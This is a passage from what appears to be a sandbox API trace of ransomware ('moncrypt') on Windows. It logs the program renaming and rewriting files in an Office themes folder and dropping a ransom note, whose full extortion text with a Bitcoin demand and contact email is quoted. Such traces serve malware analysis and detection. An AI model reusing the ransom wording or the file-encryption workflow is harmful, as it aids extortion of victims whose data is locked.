nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0053.009] CloseHandle (hObject=0x18c) returned 1 [0053.009] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\я")) returned 1 [0053.010] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 0x54e240 [0053.010] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0053.010] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0053.010] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0053.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", dwFileAttributes=0x20) returned 1 [0053.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0053.011] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm.moncrypt")) returned 1 [0053.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.012] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0053.012] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x101e0 [0053.012] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0053.012] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0053.014] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.014] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.014] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.014] GlobalUnlock (hMem=0x440004) returned 0 [0053.014] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0053.014] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.014] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.014] GlobalUnlock (hMem=0x440004) returned 0 [0053.014] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0053.014] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.015] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.015] GlobalUnlock (hMem=0x44000c) returned 0 [0053.015] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.015] GlobalUnlock (hMem=0x440004) returned 0 [0053.015] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.015] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.015] GlobalUnlock (hMem=0x440004) returned 0 [0053.015] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0053.015] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.015] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.015] GlobalUnlock (hMem=0x440004) returned 0 [0053.015] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0053.015] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0053.016] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0053.016] SetFilePointer (in: hFile=0x18c, lDistanceToMove=66016, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x101e0 [0053.016] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0053.016] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0053.016] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0053.027] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0053.027] CloseHandle (hObject=0x18c) returned 1 [0053.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.029] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0053.029] CloseHandle (hObject=0x18c) returned 1 [0053.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0053.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0053.030] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.031] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.031] GlobalUnlock (hMem=0x440004) returned 0 [0053.031] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.031] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.031] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.031] GlobalUnlock (hMem=0x440004) returned 0 [0053.031] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.031] GlobalUnlock (hMem=0x44000c) returned 0 [0053.031] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0053.031] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a468, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0053.031] GetLastError () returned 0x2 [0053.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.033] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0053.034] CloseHandle (hObject=0x18c) returned 1 [0053.034] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1 [0053.034] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.034] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.034] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.035] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.035] GlobalUnlock (hMem=0x44000c) returned 0 [0053.035] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.035] GlobalLock (hMem=0x440004) returned 0x557b88 [0053.035] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.035] GlobalUnlock (hMem=0x44000c) returned 0 [0053.035] GlobalHandle (pMem=0x557b88) returned 0x440004 [0053.035] GlobalUnlock (hMem=0x440004) returned 0 [0053.035] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.035] CharLowerBuffW (in: lpsz="RIPPLE.INF", cchLength=0xa | out: lpsz="ripple.inf") returned 0xa [0053.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.035] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0053.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpUsedDefaultChar=0x0) returned 73 [0053.035] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0053.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpUsedDefaultChar=0x0) returned 4 [0053.036] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0053.036] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.036] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.036] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.036] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.036] GlobalUnlock (hMem=0x440004) returned 0 [0053.036] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.036] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.036] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.036] GlobalUnlock (hMem=0x440004) returned 0 [0053.036] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.036] GlobalUnlock (hMem=0x44000c) returned 0 [0053.036] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.036] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0053.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.037] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0053.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 75 [0053.037] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0053.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0053.037] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0053.037] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0053.037] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0053.037] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0053.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0053.039] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0053.039] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.moncrypt")) returned 1 [0053.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.039] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0053.039] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x7ce7 [0053.040] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0053.040] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0053.041] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.042] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.042] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.042] GlobalUnlock (hMem=0x440004) returned 0 [0053.042] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0053.042] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.042] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.042] GlobalUnlock (hMem=0x440004) returned 0 [0053.042] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0053.042] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.042] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.042] GlobalUnlock (hMem=0x44000c) returned 0 [0053.043] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.043] GlobalUnlock (hMem=0x440004) returned 0 [0053.043] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.043] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.043] GlobalUnlock (hMem=0x440004) returned 0 [0053.043] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0053.043] GlobalLock (hMem=0x440004) returned 0x555b78 